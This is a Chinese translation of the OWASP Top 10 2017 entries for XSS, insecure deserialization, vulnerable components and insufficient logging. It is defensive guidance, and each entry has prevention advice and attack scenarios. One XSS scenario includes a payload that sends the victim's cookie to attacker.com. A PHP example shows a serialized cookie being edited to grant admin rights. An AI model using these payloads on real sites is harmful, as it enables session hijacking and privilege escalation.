OWASP Top 10 2017 10项最严重的 Web 应用程序安全风险（完结）

A7:2017 跨站脚本(XSS)

如何防止？

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时，或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时，就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本，并劫持用户会话、破坏网站或将用户重定向到恶意站点。

应用程序脆弱吗?

存在三种XSS类型，通常针对用户的浏览器：

反射式XSS：应用程序或API包括未经验证和未经转义的用户输入，作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。通常，用户将需要与指向攻击者控制页面的某些恶意链接进行交互，例如恶意漏洞网站，广告或类似内容。

存储式XSS：你的应用或者API将未净化的用户输入存储下来了，并在后期在其他用户或者管理员的页面展示出来。存储型XSS一般被认为是高危或严重的风险。

基于DOM的XSS：会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说，你应该避免将攻击者可控的数据发送给不安全的JavaScript API。

典型的XSS攻击可导致盗取session、账户、绕过MFA、DIV替换、对用户浏览器的攻击（例如：恶意软件下载、键盘记录）以及其他用户侧的攻击。

防止XSS需要将不可信数据与动态的浏览器内容区分开。这可以通过如下步骤实现：

• 使用设计上就会自动编码来解决XSS问题的框架，如：Ruby 3.0 或 React JS。了解每个框架的XSS保护的局限性，并适当地处理未覆盖的用例。

• 为了避免反射式或存储式的XSS漏洞，最好的办法是根据HTML输出的上下文（包括：主体、属性、JavaScript、CSS或URL）对所有不可信的HTTP请求数据进行恰当的转义。更多关于数据转义技术的信息见：《OWASP Cheat Sheet ‘XSS Prevention’》。

• 在客户端修改浏览器文档时，为了避免DOM XSS攻击，最好的选择是实施上下文敏感数据编码。如果这种情况不能避免，可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》描述的类似上下文敏感的转义技术应用于浏览器API。

• 使用内容安全策略（CSP）是对抗XSS的深度防御策略。如果不存在可以通过本地文件放置恶意代码的其他漏洞（例如：路径遍历覆盖和允许在网络中传输的易受攻击的库），则该策略是有效的。

攻击案例场景

场景#1：应用程序在下面HTML代码段的构造中使用未经验证或转

义的不可信的数据：

(String) page += "input name='creditcard' type='TEXT‘value='" + request.getParameter("CC“) + "'>";

攻击者在浏览器中修改“CC” 参数为如下值：

'>script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie/script>'.

这个攻击导致受害者的会话ID被发送到攻击者的网站，使得攻击者能够劫持用户当前会话。

注意：攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造（CSRF）防御机制。CSRF的详细情况见2013年版中的A8项。

A8:2017 不安全的反序列化

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行，攻击者也可以利用它们来执行攻击，包括：重播攻击、注入攻击和特权升级攻击。

应用程序脆弱吗？

如果反序列化进攻者提供的敌意或者篡改过的对象将会使将应用程序和API变的脆弱。

这可能导致两种主要类型的攻击：

• 如果应用中存在可以在反序列化过程中或者之后被改变行为的类，则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击。我们将其称为对象和数据结构攻击。

• 典型的数据篡改攻击，如访问控制相关的攻击，其中使用了现有的数据结构，但内容发生了变化。

在应用程序中，序列化可能被用于:

• 远程和进程间通信（RPC / IPC）

• 连线协议、Web服务、消息代理

• 缓存/持久性

• 数据库、缓存服务器、文件系统

• HTTP cookie、HTML表单参数、API身份验证令牌

如何防止？

唯一安全的架构模式是不接受来自不受信源的序列化对象，或使用只允许原始数据类型的序列化媒体。

如果上述不可能的话，考虑使用下述方法：

• 执行完整性检查，如：任何序列化对象的数字签名，以防止恶

意对象创建或数据篡改。

• 在创建对象之前强制执行严格的类型约束，因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明，所以完全依赖于它是不可取的。

• 如果可能，隔离运行那些在低特权环境中反序列化的代码。

• 记录反序列化的例外情况和失败信息，如：传入的类型不是预期的类型，或者反序列处理引发的例外情况。

• 限制或监视来自于容器或服务器传入和传出的反序列化网络连接。

• 监控反序列化，当用户持续进行反序列化时，对用户进行警告。

攻击案例场景

场景 #1：一个React应用程序调用了一组Spring Boot微服务。作为功能性程序员，他们试图确保他们的代码是不可变的。他们提出的解决方法是序列化用户状态，并在每次请求时来回传递。攻击者注意到了“R00”Java对象签名，并使用Java Serial Killer工具在应用服务器上获得远程代码执行。

场景 #2：一个PHP论坛使用PHP对象序列化来保存一个“超级”cookie。该cookie包含了用户的用户ID、角色、密码哈希和其他状态：

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻击者更改序列化对象以授予自己为admin权限：

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

A9:2017 使用含有已知漏洞的组件

组件（例如：库、框架和其他软件模块）拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用，可能会造成严重的数据丢失或服务器接管。同时，使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。

应用程序脆弱吗?

如果满足下面的某个条件，那么你的应用就易受此类攻击：

• 如果你不知道所有使用的组件版本信息（包括：服务端和客户端）。这包括了直接使用的组件或其依赖的组件。

• 如果软件易受攻击，不再支持或者过时。这包括：OS、Web服务器、应用程序服务器、数据库管理系统（DBMS）、应用程序、API和所有的组件、运行环境和库。

• 如果你不会定期做漏洞扫描和订阅你使用组件的安全公告。

• 如果你不基于风险并及时修复或升级底层平台、框架和依赖库。很可能发生这种情况：根据变更控制，每月或每季度进行升级，这使得组织在这段时间内会受到已修复但未修补的漏洞的威胁。

• 如果软件工程师没有对更新的、升级的或打过补丁的组件进行兼容性测试。

• 如果你没有对组件进行安全配置（请参考“A6:2017-安全配置错误”）。

如何防止?

应该制定一个补丁管理流程：

• 移除不使用的依赖、不需要的功能、组件、文件和文档。

• 利用如 versions、DependencyCheck 、retire.js等工具来持续的记录客户端和服务器端以及它们的依赖库的版本信息。持续监控如CVE 和 NVD等是否发布已使用组件的漏洞信息，可以使用软件分析工具来自动完成此功能。订阅关于使用组件安全漏洞的警告邮件。

• 仅从官方渠道安全的获取组件，并使用签名机制来降低组件被篡改或加入恶意漏洞的风险

• 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁，可以考虑部署虚拟补丁来监控、检测或保护。每个组织都应该制定相应的计划，对整个软件生命周期进行监控、

评审、升级或更改配置。

攻击案例场景

场景 #1：很多时候组件都是以与应用相同的权限运行的，这使得组件里的缺陷可能导致各式各样的问题。这些缺陷可能是偶然的（如：编码错误），也可能是蓄意的（如：组件里的后门）。下面是一些已被利用的漏洞：

• CVE-2017-5638，一个Struts2远程执行漏洞。可在服务端远程执行代码，并已造成巨大的影响。

• 虽然物联网（IoT）设备一般难以通过打补丁来修复。但对之打补丁非常重要（如：医疗设备）。

有些自动化工具能帮助攻击者发现未打补丁的或配置不正确的系统。例如：Shodan IOT搜索引擎能帮助你发现从2014年四月至今仍存在心脏出血漏洞的设备。

A10：2017 不足的日志记录和监控

不足的日志记录和监控，以及事件响应缺失或无效的集成，使攻击者能够进一步攻击系统、保持持续性或转向更多系统，以及篡改、提取或销毁数据。大多数缺陷研究显示，缺陷被检测出的时间超过200天，且通常通过外部检测方检测，而不是通过内部流程或监控检测。

应用程序脆弱吗？

下列情况会导致不足的日志记录、检测、监控和响应：

• 未记录可审计性事件，如：登录、登录失败和高额交易。

• 告警和错误事件未能产生或产生不足的和不清晰的日志信息。

• 没有利用应用系统和API的日志信息来监控可疑活动。

• 日志信息仅在本地存储。

• 没有定义合理的告警阈值和制定响应处理流程。

• 渗透测试和使用DAST工具（如：OWASP ZAP）扫描没有触发告警

• 对于实时或准实时的攻击，应用程序无法检测、处理和告警。

如何防止?

根据应用程序存储或处理的数据的风险：:

• 确保所有登录、访问控制失败、输入验证失败能够被记录到日志中去，并保留足够的用户上下文信息，以识别可疑或恶意帐户，并为后期取证预留足够时间。

• 确保日志以一种能被集中日志管理解决方案使用的形式生成

• 确保高额交易有完整性控制的审计信息，以防止篡改或删除，例如审计信息保存在只能进行记录增加的数据库表中。

• 建立有效的监控和告警机制，使可疑活动在可接受的时间内被发现和应对。

• 建立或采取一个应急响应机制和恢复计划，例如：NIST 800-61 rev 2或更新版本。

目前已有商业的和开源的应用程序防护框架（例如：OWASP AppSensor）、Web应用防火墙（例如：Modsecurity with the OWASP Core Rule Set）、带有自定义仪表盘和告警功能的日志关联软件。

攻击案例场景

场景#1：一个由小团队运营的开源项目论坛软件被攻击者利用其内在漏洞攻陷了。攻击者设法删除了包含下一个版本的内部源代码仓库以及所有论坛内容。虽然代码可以恢复，但由于缺乏监控、日志记录和告警导致了更糟糕的结果。由于此问题，该论坛软件项目不再活跃。

场景#2：攻击者使用通用密码进行用户扫描并能获取所有使用此密码的账户。对于其他账户而言，将仅有一次失败的登陆尝试记录。一段时间以后，攻击者可以用另一个密码再次进行此活动。

场景#3：美国的一家大型零售商据内部使用恶意软件分析沙箱做分析。沙箱软件检测到了一些可能不需要的软件，但没有人响应此次检测。在一个境外银行不正当的信用卡交易被检测到之前，该沙箱软件一直在产生告警信息。

新闻资讯